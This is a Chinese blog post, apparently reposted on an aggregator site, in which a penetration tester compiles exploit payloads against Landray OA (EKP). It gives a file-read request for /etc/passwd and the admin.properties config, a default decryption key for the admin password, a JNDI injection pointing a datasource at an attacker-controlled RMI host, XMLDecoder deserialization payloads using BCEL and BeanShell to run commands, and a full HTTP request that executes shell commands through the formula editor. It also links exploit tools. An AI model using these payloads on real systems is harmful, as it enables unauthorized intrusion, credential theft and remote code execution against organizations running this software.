前言
背景是由于一次和友商共同的滲透項目測試中,其中一個系統(tǒng)使用了藍凌OA,但當時由于一些原因覺得版本挺新應(yīng)該是打了補丁的故在測試中沒有仔細遍歷復(fù)現(xiàn)藍凌OA的歷史常見RCE漏洞,后續(xù)對比了友商的報告發(fā)現(xiàn)別人測的兩個RCE,故統(tǒng)一做個poc積累學(xué)習(xí),混個眼熟防止下次滲透或攻防時漏掉。
任意文件讀取漏洞
漏洞描述
藍凌OA(EKP)存在任意文件讀取漏洞可能導(dǎo)致敏感信息泄露。
漏洞復(fù)現(xiàn)
漏洞路徑:/sys/ui/extend/varkind/custom.jsp
,訪問后抓包,在body中加入payload:var={“body”:{“file”:“file:///etc/passwd”}}
,發(fā)送post請求。
SSRF+JNDI遠程命令執(zhí)行
漏洞描述
配合上述任意文件讀取漏洞獲取敏感信息,讀取配置文件得到密鑰后訪問 admin.do 可利用 JNDI遠程命令執(zhí)行獲取權(quán)限。
漏洞復(fù)現(xiàn)
利用任意文件讀取/WEB-INF/KmssConfig/admin.properties
配置文件由此獲得加密的password,據(jù)說藍凌OA默認為DES加密,且有個默認密鑰為 kmssAdminKey,可以拿著password在在線網(wǎng)站上嘗試解密(返回的password字符串去掉末尾的/r在進行解密)
用解密出來的明文密碼嘗試登錄后臺地址:
admin.do
,此地址也可能由爆破得到:burp抓包,body添加payload:
method=testDbConn&datasource=rmi://vpsip:port/exp
,exp構(gòu)造同常見的如fastjson所用:寫入想執(zhí)行的命令并編譯成惡意類(編譯兼容java1.7)后放到web服務(wù)器上。再使用marshalsec工具(https://github.com/mbechler/marshalsec)構(gòu)建一個JNDI服務(wù)。
發(fā)送payload:
sysSearchMain.do XMLdecode反序列化(任意文件寫入)
漏洞描述
sysSearchMain.do文件,存在任意文件寫入漏洞,攻擊者獲取后臺權(quán)限后可通過漏洞寫入任意文件,也可以通過 custom.jsp 文件未授權(quán)寫入惡意文件,導(dǎo)致RCE。
漏洞復(fù)現(xiàn)
若通過custom.jsp寫入,payload為:var={“body”:{“file”:“/sys/search/sys_search_main/sysSearchMain.do?method=editParam”}}&fdParemNames=11&fdParameters=[shellcode]
shellcode:<java> <void class="com.sun.org.apache.bcel.internal.util.ClassLoader"> <void method="loadClass"> <string>$$BCEL$$......</string> <void method="newInstance"></void> </void> </void> </java>
//使用了BCEL利用鏈(BCEL包下的ClassLoader類)
同上一漏洞一樣編譯惡意exp類//不要使用java8u251以后版本使用BCEL編碼工具:
https://github.com/Xd-tl/BCELCode
插入發(fā)送:漏洞成因?qū)dParameters參數(shù)過濾不嚴,傳給ojectXmlDecoder造成反序列化。
tips:如果OA存在bsh可直接執(zhí)行命令,可直接回顯或打入內(nèi)存馬,或者后臺洞情況,web管理員權(quán)限添加反序列化白名單:如bsh.Intepreter(BeanShell利用鏈中bash.Interpreter的eval方法)payload:
var={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?method=editParam"}}&fdParemNames=11&fdParameters=<java><void class="bsh.Interpreter"><void method="eval"><string>Runtime.getRuntime().exec("calc");</string></void></void></java>
回顯payload://太菜了不懂回顯payload細節(jié)
公式編輯器RCE
漏洞描述
dataxml.jsp 、treexml.tmpl等代碼執(zhí)行
漏洞復(fù)現(xiàn)
漏洞地址:/data/sys-common/treexml.tmpl、 /sys/common/dataxml.jsp、 /sys/common/treexml.jsp、 /sys/common/treejson.jsp、 /sys/common/datajson.jsp、 /data/sys-common/dataxml、 /data/sys-common/treexml、 /data/sys-common/datajson
以上地址都可以嘗試一下
payload如:文章來源:http://www.zghlxwxcb.cn/news/detail-403811.html
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 176
var={"body":{"file":"/data/sys-common/datajson"}}&s_bean=sysFormulaValidateByJS&script=new java.lang.ProcessBuilder['(java.lang.String[])'](['sh','-c','touch /tmp/1']).start();
s_bean或為RuleFormulaValidate
對應(yīng)treexml.tmpl
或sysFormulaValidateByJS
具體原理和利用區(qū)別可查看https://unsafe.sh/go-123305.html
最后再放一個OA集合利用的工具:https://github.com/LittleBear4/OA-EXPTOOL文章來源地址http://www.zghlxwxcb.cn/news/detail-403811.html
到了這里,關(guān)于藍凌(Landray)OA漏洞常見RCE的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!